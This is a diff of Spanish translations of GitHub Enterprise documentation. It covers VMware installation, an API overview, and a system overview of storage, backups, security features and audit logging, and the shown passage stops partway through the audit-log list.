-intro: 'To install {% data variables.product.prodname_ghe_server %} on VMware, you must download the VMware vSphere client, and then download and deploy the {% data variables.product.prodname_ghe_server %} software.'
+title: Instalar el servidor de GitHub Enterprise en VMare
+intro: 'Para instalar {% data variables.product.prodname_ghe_server %} en VMware, debes descargar el cliente vSphere de VMware, y después descargar y desplegar el software de {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin/articles/getting-started-with-vmware
   - /enterprise/admin/articles/installing-vmware-tools
@@ -16,44 +16,45 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on VMware
+shortTitle: Instalar en VMware
 ---
-## Prerequisites
+
+## Prerrequisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have a VMware vSphere ESXi Hypervisor, applied to a bare metal machine that will run {% data variables.product.product_location %}s. We support versions 5.5 through 6.7. The ESXi Hypervisor is free and does not include the (optional) vCenter Server. For more information, see [the VMware ESXi documentation](https://www.vmware.com/products/esxi-and-esx.html).
-- You will need access to a vSphere Client. If you have vCenter Server you can use the vSphere Web Client. For more information, see the VMware guide "[Log in to vCenter Server by Using the vSphere Web Client](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)."
+- Debes tener un VMware vSphere ESXi Hypervisor, aplicado a una máquina de metal expuesto que ejecutará {% data variables.product.product_location %}. Admitimos versiones 5.5 a 6.7. El Hipervisor de ESXi es gratuito y no incluye el vCenter Server (opcional). Para obtener más información, consulta la [Documentación de VMware ESXi](https://www.vmware.com/products/esxi-and-esx.html).
+- Deberás acceder a vSphere Client. Si tienes vCenter Server puedes usar vSphere Web Client. Para obtener más información, consulta la guía de VMware "[Registrarse en vCenter Server al utilizar vSphere Web Client](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)."
 
-## Hardware considerations
+## Consideraciones relativas al hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## Descargar la imagen {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **VMware ESXi/vSphere (OVA)**.
-5. Click **Download for VMware ESXi/vSphere (OVA)**.
+4. Selecciona {% data variables.product.prodname_dotcom %} local, después haz clic en **VMware ESXi/vSphere (OVA)**.
+5. Haz clic en **Download for VMware ESXi/vSphere (OVA) (Descargar para VMware ESXi/vSphere (OVA))**.
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Crear la instancia {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. Using the vSphere Windows Client or the vCenter Web Client, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the VMware guide "[Deploy an OVF or OVA Template](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)."
-    - When selecting a datastore, choose one with sufficient space to host the VM's disks. For the minimum hardware specifications recommended for your instance size, see "[Hardware considerations](#hardware-considerations)." We recommend thick provisioning with lazy zeroing.
-    - Leave the **Power on after deployment** box unchecked, as you will need to add an attached storage volume for your repository data after provisioning the VM.
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the VMware guide "[Add a New Hard Disk to a Virtual Machine](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)."
+1. Por medio de vSphere Windows Client o vCenter Web Client, importa la imagen del {% data variables.product.prodname_ghe_server %} que descargaste. Para obtener instrucciones, consulta la guía de VMware "[Implementar una plantilla OVF u OVA](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)."
+    - Cuando seleccionas un almacén de datos, elige uno con suficiente espacio para alojar los discos de la VM. Para encontrar las especificaciones mínimas recomendadas de hardware para tu instancia, consulta las "[Consideraciones de hardware](#hardware-considerations)". Te recomendamos un aprovisionamiento robusto con lazy zeroing.
+    - Deja el casillero **Power on after deployment (Encender después de la implementación)** sin marcar, ya que necesitarás agregar un volumen de almacenamiento adjunto para tus datos del repositorio después de aprovisionar la VM.
+{% data reusables.enterprise_installation.create-attached-storage-volume %} Para obtener instrucciones, consulta la guía de VMware "[Agregar un nuevo disco duro a una máquina virtual](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)."
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## Configurar la instancia de {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obtener más información, consulta "[Configurar el aparato de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leer más
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Resumen del sistema](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[Acerca de las mejoras a los lanzamientos nuevos](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/es-ES/content/admin/overview/about-github-ae.md b/translations/es-ES/content/admin/overview/about-github-ae.md
index f48a97fdf7..6026f08450 100644
--- a/translations/es-ES/content/admin/overview/about-github-ae.md
+++ b/translations/es-ES/content/admin/overview/about-github-ae.md
@@ -37,4 +37,5 @@ Asegura el acceso a tu empresa en {% data variables.product.prodname_ghe_managed
 
 ## Leer más
 
+- "[Acerca de las versiones de {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
 - "[Recibir ayuda del soporte de {% data variables.product.company_short %}](/admin/enterprise-support/receiving-help-from-github-support)"
diff --git a/translations/es-ES/content/admin/overview/about-the-github-enterprise-api.md b/translations/es-ES/content/admin/overview/about-the-github-enterprise-api.md
index 13c1255fff..a98c8ddc81 100644
--- a/translations/es-ES/content/admin/overview/about-the-github-enterprise-api.md
+++ b/translations/es-ES/content/admin/overview/about-the-github-enterprise-api.md
@@ -1,6 +1,6 @@
 ---
-title: About the GitHub Enterprise API
-intro: '{% data variables.product.product_name %} supports REST and GraphQL APIs.'
+title: Acerca de la API de GitHub Enterprise
+intro: '{% data variables.product.product_name %} es compatible con las API de REST y de GraphQL.'
 redirect_from:
   - /enterprise/admin/installation/about-the-github-enterprise-server-api
   - /enterprise/admin/articles/about-the-enterprise-api
@@ -13,15 +13,15 @@ versions:
   ghae: '*'
 topics:
   - Enterprise
-shortTitle: GitHub Enterprise API
+shortTitle: API de GitHub Enterprise
 ---
 
-With the APIs, you can automate many administrative tasks. Some examples include:
+Con las API, puedes automatizar muchas tareas administrativas. Algunos ejemplos incluyen los siguientes:
 
 {% ifversion ghes %}
-- Perform changes to the {% data variables.enterprise.management_console %}. For more information, see "[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)."
-- Configure LDAP sync. For more information, see "[LDAP](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap)."{% endif %}
-- Collect statistics about your enterprise. For more information, see "[Admin stats](/rest/reference/enterprise-admin#admin-stats)."
-- Manage your enterprise account. For more information, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)."
+- Realizar cambios en {% data variables.enterprise.management_console %}. Para obtener más información, consulta la secicón "[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)".
+- Configura la sincronización de LDAP. Para obtener más información, consulta la sección "[LDAP](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap)."{% endif %}
+- Recolectar estadísticas sobre tu empresa. Para obtener más información, consulta la sección "[Estadísticas administrativas](/rest/reference/enterprise-admin#admin-stats)".
+- Administra tu cuenta Enterprise. Para obtener más información, consulta "[Cuentas Enterprise](/graphql/guides/managing-enterprise-accounts)"
 
-For the complete documentation for {% data variables.product.prodname_enterprise_api %}, see [{% data variables.product.prodname_dotcom %} REST API](/rest) and [{% data variables.product.prodname_dotcom%} GraphQL API](/graphql). 
+Para conocer la documentación íntegra de la {% data variables.product.prodname_enterprise_api %}, consulta la [API de REST de {% data variables.product.prodname_dotcom %}](/rest) y la [API de GraphQL de {% data variables.product.prodname_dotcom%}](/graphql). 
diff --git a/translations/es-ES/content/admin/overview/system-overview.md b/translations/es-ES/content/admin/overview/system-overview.md
index 90c87622f9..2e75601908 100644
--- a/translations/es-ES/content/admin/overview/system-overview.md
+++ b/translations/es-ES/content/admin/overview/system-overview.md
@@ -1,6 +1,6 @@
 ---
-title: System overview
-intro: '{% data variables.product.prodname_ghe_server %} is your organization''s private copy of {% data variables.product.prodname_dotcom %} contained within a virtual appliance, hosted on premises or in the cloud, that you configure and control.'
+title: Descripción del sistema
+intro: 'El {% data variables.product.prodname_ghe_server %} es la copia privada de tu organización de {% data variables.product.prodname_dotcom %} contenida dentro de un aparato virtual, alojada localmente o en la nube, que configuras y controlas.'
 redirect_from:
   - /enterprise/admin/installation/system-overview
   - /enterprise/admin/overview/system-overview
@@ -15,143 +15,143 @@ topics:
   - Storage
 ---
 
-## Storage architecture
+## Arquitectura de almacenamiento
 
-{% data variables.product.prodname_ghe_server %} requires two storage volumes, one mounted to the *root filesystem* path (`/`) and the other to the *user filesystem* path (`/data/user`). This architecture simplifies the upgrade, rollback, and recovery procedures by separating the running software environment from persistent application data.
+El {% data variables.product.prodname_ghe_server %} requiere dos volúmenes de almacenamiento, uno instalado en la ruta del *sistema de archivos raíz* (`/`) y otro en la ruta del *sistema de archivos del usuario* (`/data/user`). Esta arquitectura simplifica los procedimientos de actualización, reversión y recuperación al separar el entorno del software que se ejecuta de los datos de aplicación persistentes.
 
-The root filesystem is included in the distributed machine image. It contains the base operating system and the {% data variables.product.prodname_ghe_server %} application environment. The root filesystem should be treated as ephemeral. Any data on the root filesystem will be replaced when upgrading to future {% data variables.product.prodname_ghe_server %} releases.
+El sistema de archivos raíz está incluido en la imagen de máquina distribuida. Contiene el sistema operativo base y el entorno de aplicación {% data variables.product.prodname_ghe_server %}. El sistema de archivos raíz debería tratarse como efímero. Cualquier dato en el sistema de archivos raíz será reemplazado cuando se actualice con futuros lanzamientos del {% data variables.product.prodname_ghe_server %}.
 
-The root storage volume is split into two equally-sized partitions. One of the partitions will be mounted as the root filesystem (`/`). The other partition is only mounted during upgrades and rollbacks of upgrades as `/mnt/upgrade`, to facilitate easier rollbacks if necessary. For example, if a 200GB root volume is allocated, there will be 100GB allocated to the root filesystem and 100GB reserved for the upgrades and rollbacks.
+El volumen de almacenamiento raíz se divide en dos particiones del mismo tamaño. Una de las particiones se montará como el sistema de archivos raíz (`/`). La otra partición solo se montará durante mejoras y reversiones de mejoras como `/mnt/upgrade`, para hacer que dichas reversiones se lleven a cabo más fácilmente en caso de que sea necesario. Por ejemplo, si se asigna un volumen raíz de 200GB, 100GB se asignarán al sistema de archivos raíz y otros 100GB se reservarán para las mejoras y reversiones.
 
-The root filesystem contains:
-  - Custom certificate authority (CA) certificates (in */usr/local/share/ca-certificates*)
-  - Custom networking configurations
-  - Custom firewall configurations
-  - The replication state
+El sistema de archivos raíz contiene:
+  - Los certificados de autoridad de certificación personalizados (CA) (en */usr/local/share/ca-certificates*)
+  - Las configuraciones de red personalizadas
+  - Las configuraciones de firewall personalizadas
+  - El estado de replicación
 
-The user filesystem contains user configuration and data, such as:
-  - Git repositories
-  - Databases
-  - Search indexes
-  - Content published on {% data variables.product.prodname_pages %} sites
-  - Large files from {% data variables.large_files.product_name_long %}
-  - Pre-receive hook environments
+El sistema de archivos del usuario contiene la configuración y los datos del usuario, tales como:
+  - Repositorios Git
+  - Bases de datos
+  - Índices de búsqueda
+  - Contenido publicado en los sitios {% data variables.product.prodname_pages %}
+  - Archivos grandes de {% data variables.large_files.product_name_long %}
+  - Entornos de enlaces de pre-recepción
 
-## Deployment options
+## Opciones de implementación
 
-You can deploy {% data variables.product.prodname_ghe_server %} as a single virtual appliance, or in a high availability configuration. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
+Puedes implementar {% data variables.product.prodname_ghe_server %} como un aparato virtual único, o en una configuración de alta disponibilidad. Para obtener más información, consulta "[Configurar el {% data variables.product.prodname_ghe_server %} para alta disponibilidad](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
 
-Some organizations with tens of thousands of developers may also benefit from {% data variables.product.prodname_ghe_server %} Clustering. For more information, see "[About clustering](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-clustering)."
+Algunas organizaciones con decenas de miles de programadores podrían también beneficiarse de una Agrupación {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Acerca de las agrupaciones](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-clustering)."
 
-## Data retention and datacenter redundancy
+## Retención de datos y redundancia de centro de datos
 
 {% danger %}
 
-Before using {% data variables.product.prodname_ghe_server %} in a production environment, we strongly recommend you set up backups and a disaster recovery plan. For more information, see "[Configuring backups on your appliance](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)."
+Antes de usar {% data variables.product.prodname_ghe_server %} en un entorno de producción, recomendamos firmemente que configures copias de seguridad y un plan de recuperación ante desastres. Para obtener más información, consulta "[Configurar copias de seguridad en tu aparato](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)".
 
 {% enddanger %}
 
-{% data variables.product.prodname_ghe_server %} includes support for online and incremental backups with the [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils). You can take incremental snapshots over a secure network link (the SSH administrative port) over long distances for off-site or geographically dispersed storage. You can restore snapshots over the network into a newly provisioned appliance at time of recovery in case of disaster at the primary datacenter.
+{% data variables.product.prodname_ghe_server %} incluye soporte para copias de seguridad en línea e incrementales con [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils). Puedes tomar instantáneas incrementales sobre un enlace de red seguro (el puerto administrativo SSH) sobre grandes distancias para el almacenamiento externo o geográficamente disperso. Puedes restaurar instantáneas a través de la red en un nuevo aparato virtual recientemente aprovisionado al momento de la recuperación en el caso de un desastre en el centro de datos principal.
 
-In addition to network backups, both AWS (EBS) and VMware disk snapshots of the user storage volumes are supported while the appliance is offline or in maintenance mode. Regular volume snapshots can be used as a low-cost, low-complexity alternative to network backups with {% data variables.product.prodname_enterprise_backup_utilities %} if your service level requirements allow for regular offline maintenance.
+Además se admiten las copias de seguridad de red, las instantáneas de disco AWS (EBS) y VMware de los volúmenes de almacenamiento del usuario mientras que el aparato está fuera de línea o en modo mantenimiento. Las instantáneas de volumen regulares pueden usarse como una alternativa de bajo costo y baja complejidad para las copias de seguridad de red con {% data variables.product.prodname_enterprise_backup_utilities %} si tus requisitos de nivel de servicio permiten un mantenimiento fuera de línea regular.
 
-For more information, see "[Configuring backups on your appliance](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)."
+Para obtener más información, consulta "[Configurar copias de seguridad en tu aparato](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)".
 
-## Security
+## Seguridad
 
-{% data variables.product.prodname_ghe_server %} is a virtual appliance that runs on your infrastructure and is governed by your existing information security controls, such as firewalls, IAM, monitoring, and VPNs. Using {% data variables.product.prodname_ghe_server %} can help you avoid regulatory compliance issues that arise from cloud-based solutions.
+El {% data variables.product.prodname_ghe_server %} es un aparato virtual que se ejecuta en tu infraestructura y está gobernado por tus controles de seguridad de información existentes, como cortafuegos, IAM, monitoreo y VPN. Usar el {% data variables.product.prodname_ghe_server %} puede ayudarte a evitar problemas de cumplimiento regulatorio que surgen de las soluciones basadas en la nube.
 
-{% data variables.product.prodname_ghe_server %} also includes additional security features.
+El {% data variables.product.prodname_ghe_server %} también incluye características de seguridad adicionales.
 
-- [Operating system, software, and patches](#operating-system-software-and-patches)
-- [Network security](#network-security)
-- [Application security](#application-security)
-- [External services and support access](#external-services-and-support-access)
-- [Encrypted communication](#encrypted-communication)
-- [Users and access permissions](#users-and-access-permissions)
-- [Authentication](#authentication)
-- [Audit and access logging](#audit-and-access-logging)
+- [Sistema operativo, software y parches](#operating-system-software-and-patches)
+- [Seguridad de la red](#network-security)
+- [Seguridad de la aplicación](#application-security)
+- [Servicios externos y acceso de soporte](#external-services-and-support-access)
+- [Comunicación encriptada](#encrypted-communication)
+- [Usuarios y permisos de acceso](#users-and-access-permissions)
+- [Autenticación](#authentication)
+- [Auditoría y registro de acceso](#audit-and-access-logging)
 
-### Operating system, software, and patches
+### Sistema operativo, software y parches
 
-{% data variables.product.prodname_ghe_server %} runs a customized Linux operating system with only the necessary applications and services. {% data variables.product.prodname_dotcom %} manages patching of the appliance's core operating system as part of its standard product release cycle. Patches address functionality, stability, and non-critical security issues for {% data variables.product.prodname_dotcom %} applications. {% data variables.product.prodname_dotcom %} also provides critical security patches as needed outside of the regular release cycle.
+El {% data variables.product.prodname_ghe_server %} ejecuta un sistema operativo Linux personalizado con las aplicaciones y los servicios necesarios únicamente. El {% data variables.product.prodname_dotcom %} gestiona el parche del sistema operativo central del aparato como parte de su ciclo estándar de lanzamiento de productos. Los parches abordan problemas de funcionalidad, de estabilidad y de seguridad no críticos para las aplicaciones de {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_dotcom %} también proporciona parches de seguridad críticos según se necesita fuera del ciclo de lanzamiento regular.
 
-{% data variables.product.prodname_ghe_server %} is provided as an appliance, and many of the operating system packages are modified compared to the usual Debian distribution. We do not support modifying the underlying operating system for this reason (including operating system upgrades), which is aligned with the [{% data variables.product.prodname_ghe_server %} license and support agreement](https://enterprise.github.com/license), under section 11.3 Exclusions.
+{% data variables.product.prodname_ghe_server %} se proporciona como un aplicativo y muchos de los paquetes de los sistemas operativos se modifican en comparación con la distribución común de Debian. No ofrecemos compatibilidad con la modificación del sistema operativo subyacente por esta razón (incluyendo las mejoras de los sistemas operativos), lo cual se alinea con la [licencia de {% data variables.product.prodname_ghe_server %} y el acuerdo de soporte](https://enterprise.github.com/license), bajo las exclusiones de la sección 11.3.
 
-Currently, the base of the {% data variables.product.prodname_ghe_server %} appliance is Debian 9 (Stretch) and receives support under the Debian Long Term Support program.  There are plans to move to a newer base operating system before the end of the Debian LTS period for Stretch.
+Actualmente, la base del aplicativo de {% data variables.product.prodname_ghe_server %} es Debian 9 (Stretch) y recibe soporte bajo el programa de Soporte a Largo Plazo de Debian.  Existen planes para migrarse a un sistema operativo base nuevo antes del final del periodo de Debian LTS para Stretch.
 
-Regular patch updates are released on the {% data variables.product.prodname_ghe_server %} [releases](https://enterprise.github.com/releases) page, and the [release notes](/enterprise-server/admin/release-notes) page provides more information. These patches typically contain upstream vendor and project security patches after they've been tested and quality approved by our engineering team. There can be a slight time delay from when the upstream update is released to when it's tested and bundled in an upcoming {% data variables.product.prodname_ghe_server %} patch release.
+Las actualizaciones de parche regulares se lanzan en la página de [lanzamientos](https://enterprise.github.com/releases) de {% data variables.product.prodname_ghe_server %} y la página de [notas de lanzamiento](/enterprise-server/admin/release-notes) proporciona más información sobre esto. Estos parches a menudo contienen un proveedor de nivel superior y parches de seguridad de proyecto después de que se prueban y que nuestro equipo de ingeniería aprueba su calidad. Puede haber una pequeña demora en tiempo desde cuando la actualización de nivel superior se lanza hasta cuando se prueba y se empaqueta en un lanzamiento de parche futuro de {% data variables.product.prodname_ghe_server %}.
 
-### Network security
+### Seguridad de la red
 
-{% data variables.product.prodname_ghe_server %}'s internal firewall restricts network access to the appliance's services. Only services necessary for the appliance to function are available over the network. For more information, see "[Network ports](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports)."
+El cortafuegos interno del {% data variables.product.prodname_ghe_server %} restringe el acceso de la red a los servicios del aparato. Están disponibles en la red únicamente los servicios necesarios para que el aparato funcione. Para obtener más información, consulta "[Puertos de red](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports)."
 
-### Application security
+### Seguridad de la aplicación
 
-{% data variables.product.prodname_dotcom %}'s application security team focuses full-time on vulnerability assessment, penetration testing, and code review for {% data variables.product.prodname_dotcom %} products, including {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_dotcom %} also contracts with outside security firms to provide point-in-time security assessments of {% data variables.product.prodname_dotcom %} products.
+El equipo de seguridad de la aplicación de {% data variables.product.prodname_dotcom %} se centra en la evaluación de vulnerabilidad, la prueba de penetración y la revisión del código para los productos de {% data variables.product.prodname_dotcom %} , incluido el {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_dotcom %} también contrata firmas de seguridad externas para proporcionar evaluaciones de seguridad puntuales de los productos de {% data variables.product.prodname_dotcom %}.
 
-### External services and support access
+### Servicios externos y acceso de soporte
 
-{% data variables.product.prodname_ghe_server %} can operate without any egress access from your network to outside services. You can optionally enable integration with external services for email delivery, external monitoring, and log forwarding. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-email-for-notifications)," "[Setting up external monitoring](/enterprise/{{ currentVersion }}/admin/installation/setting-up-external-monitoring)," and "[Log forwarding](/admin/user-management/log-forwarding)."
+El {% data variables.product.prodname_ghe_server %} puede funcionar sin ningún acceso de salida de tu red a servicios externos. De forma opcional, puedes habilitar la integración con servicios externos para la entrega de correo electrónico, el monitoreo externo y el reenvío de bitácoras. Para obtener más información, consulta las secciones "[Configurar las notificaciones por correo electrónico](/admin/configuration/configuring-email-for-notifications)", "[Configurar el monitoreo externo](/enterprise/{{ currentVersion }}/admin/installation/setting-up-external-monitoring)", y "[Reenvío de bitácoras](/admin/user-management/log-forwarding)".
 
-You can manually collect and send troubleshooting data to {% data variables.contact.github_support %}. For more information, see "[Providing data to {% data variables.contact.github_support %}](/enterprise/{{ currentVersion }}/admin/enterprise-support/providing-data-to-github-support)."
+Puedes recopilar y enviar manualmente datos de resolución de problemas a {% data variables.contact.github_support %}. Para obtener más información, consulta "[Proporcionar datos a {% data variables.contact.github_support %}](/enterprise/{{ currentVersion }}/admin/enterprise-support/providing-data-to-github-support)."
 
-### Encrypted communication
+### Comunicación encriptada
 
-{% data variables.product.prodname_dotcom %} designs {% data variables.product.prodname_ghe_server %} to run behind your corporate firewall. To secure communication over the wire, we encourage you to enable Transport Layer Security (TLS). {% data variables.product.prodname_ghe_server %} supports 2048-bit and higher commercial TLS certificates for HTTPS traffic. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/installation/configuring-tls)."
+{% data variables.product.prodname_dotcom %} diseña {% data variables.product.prodname_ghe_server %} para ejecutar detrás de tu cortafuegos corporativo. Para asegurar la comunicación a través del cable, te alentamos a habilitar la seguridad de la capa de transporte (TLS). El {% data variables.product.prodname_ghe_server %} admite certificados TLS comerciales de 2048 bits y superiores para el tráfico HTTPS. Para obtener más información, consulta "[Configurar TLS](/enterprise/{{ currentVersion }}/admin/installation/configuring-tls)."
 
-By default, the appliance also offers Secure Shell (SSH) access for both repository access using Git and administrative purposes. For more information, see "[About SSH](/enterprise/user/articles/about-ssh)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)."
+Por defecto, el aparato también ofrece acceso a Secure Shell (SSH) para el acceso al repositorio utilizando Git y con fines administrativos. Para obtener más información, consulta "[Acerca de SSH](/enterprise/user/articles/about-ssh)" y "[Acceder al shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)."
 
-### Users and access permissions
+### Usuarios y permisos de acceso
 
-{% data variables.product.prodname_ghe_server %} provides three types of accounts.
+El {% data variables.product.prodname_ghe_server %} proporciona tres tipos de cuentas.
 
-- The `admin` Linux user account has controlled access to the underlying operating system, including direct filesystem and database access. A small set of trusted administrators should have access to this account, which they can access over SSH. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)."
-- User accounts in the appliance's web application have full access to their own data and any data that other users or organizations explicitly grant.
-- Site administrators in the appliance's web application are user accounts that can manage high-level web application and appliance settings, user and organization account settings, and repository data.
+- La cuenta de usuario de Linux del `administrador` ha controlado el acceso al sistema operativo subyacente, incluido el sistema de archivos directo y el acceso a la base de datos. Un pequeño conjunto de administradores de confianza debería tener acceso a esta cuenta, a la que pueden acceder por medio de SSH. Para obtener más información, consulta "[Acceder al shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)."
+- Las cuentas de usuario en la aplicación web del aparato tienen acceso completo a sus propios datos y a cualquier dato que otros usuarios u organizaciones concedan de manera explícita.
+- Los administradores del sitio en la aplicación web del aparato son cuentas de usuario que pueden administrar los ajustes de aplicaciones web y de aparatos de alto nivel, la configuración de cuenta de usuario y de organización y los datos del repositorio.
 
-For more information about {% data variables.product.prodname_ghe_server %}'s user permissions, see "[Access permissions on GitHub](/enterprise/user/articles/access-permissions-on-github)."
+Para más información sobre los permisos de usuario del {% data variables.product.prodname_ghe_server %}, consulta "[Permisos de acceso en GitHub](/enterprise/user/articles/access-permissions-on-github)."
 
-### Authentication
+### Autenticación
 
-{% data variables.product.prodname_ghe_server %} provides four authentication methods.
+El {% data variables.product.prodname_ghe_server %} proporciona cuatro métodos de autenticación.
 
-- SSH public key authentication provides both repository access using Git and administrative shell access. For more information, see "[About SSH](/enterprise/user/articles/about-ssh)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)."
-- Username and password authentication with HTTP cookies provides web application access and session management, with optional two-factor authentication (2FA). For more information, see "[Using built-in authentication](/enterprise/{{ currentVersion }}/admin/user-management/using-built-in-authentication)."
-- External LDAP, SAML, or CAS authentication using an LDAP service, SAML Identity Provider (IdP), or other compatible service provides access to the web application. For more information, see "[Authenticating users for your GitHub Enterprise Server instance](/enterprise/{{ currentVersion }}/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance)."
-- OAuth and Personal Access Tokens provide access to Git repository data and APIs for both external clients and services. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+- La autenticación de claves públicas SSH proporciona acceso del repositorio usando Git y el shell administrativo. Para obtener más información, consulta "[Acerca de SSH](/enterprise/user/articles/about-ssh)" y "[Acceder al shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)."
+- El nombre de usuario y la autenticación de contraseña con cookies HTTP proporciona acceso a la aplicación web y la gestión de sesiones, con autenticación opcional de dos factores (2FA). Para obtener más información, consulta "[Usar la autenticación incorporada](/enterprise/{{ currentVersion }}/admin/user-management/using-built-in-authentication)."
+- La autenticación externa LDAP, SAML o CAS mediante un servicio LDAP, SAML Identity Provider (IdP) u otro servicio compatible proporciona acceso a la aplicación web. Para más información, consulta "[Autenticar usuarios para tu instancia de servidor de GitHub Enterprise](/enterprise/{{ currentVersion }}/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance)."
+- OAuth y los token de acceso personal proporcionan acceso a los datos del repositorio de Git y a API para clientes externos y servicios. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)".
 
-### Audit and access logging
+### Auditoría y registro de acceso
 
-{% data variables.product.prodname_ghe_server %} stores both traditional operating system and application logs. The application also writes detailed auditing and security logs, which {% data variables.product.prodname_ghe_server %} stores permanently. You can forward both types of logs in real time to multiple destinations via the `syslog-ng` protocol. For more information, see "[Log forwarding](/admin/user-management/log-forwarding)."
+El {% data variables.product.prodname_ghe_server %} almacena tanto registros tradicionales de sistema operativo como de aplicación. La aplicación también escribe registros de auditoría y de seguridad detallados, que el {% data variables.product.prodname_ghe_server %} almacena de forma permanente. Puedes reenviar ambos tipos de bitácoras en tiempo real a varios destinos a través del protocolo `syslog-ng`. Para obtener más información, consulta la sección "[Reenvío de bitácoras](/admin/user-management/log-forwarding)".
 
-Access and audit logs include information like the following.
+Los registros de acceso y de auditoría incluyen información como la siguiente.
 
-#### Access logs
+#### Registros de acceso
 
-- Full web server logs for both browser and API access
-- Full logs for access to repository data over Git, HTTPS, and SSH protocols
-- Administrative access logs over HTTPS and SSH
+- Registros completos de servidor web tanto para el navegador como para el acceso a la API
+- Registros completos para acceder a los datos del repositorio por medio de protocolos Git, HTTPS y SSH
+- Registros de acceso administrativo por medio de HTTPS y SSH
 
-#### Audit logs
+#### Registros de auditoría
 
-- User logins, password resets, 2FA requests, email setting changes, and changes to authorized applications and APIs
-- Site administrator actions, such as unlocking user accounts and repositories
-- Repository push events, access grants, transfers, and renames
-- Organization membership changes, including team creation and destruction
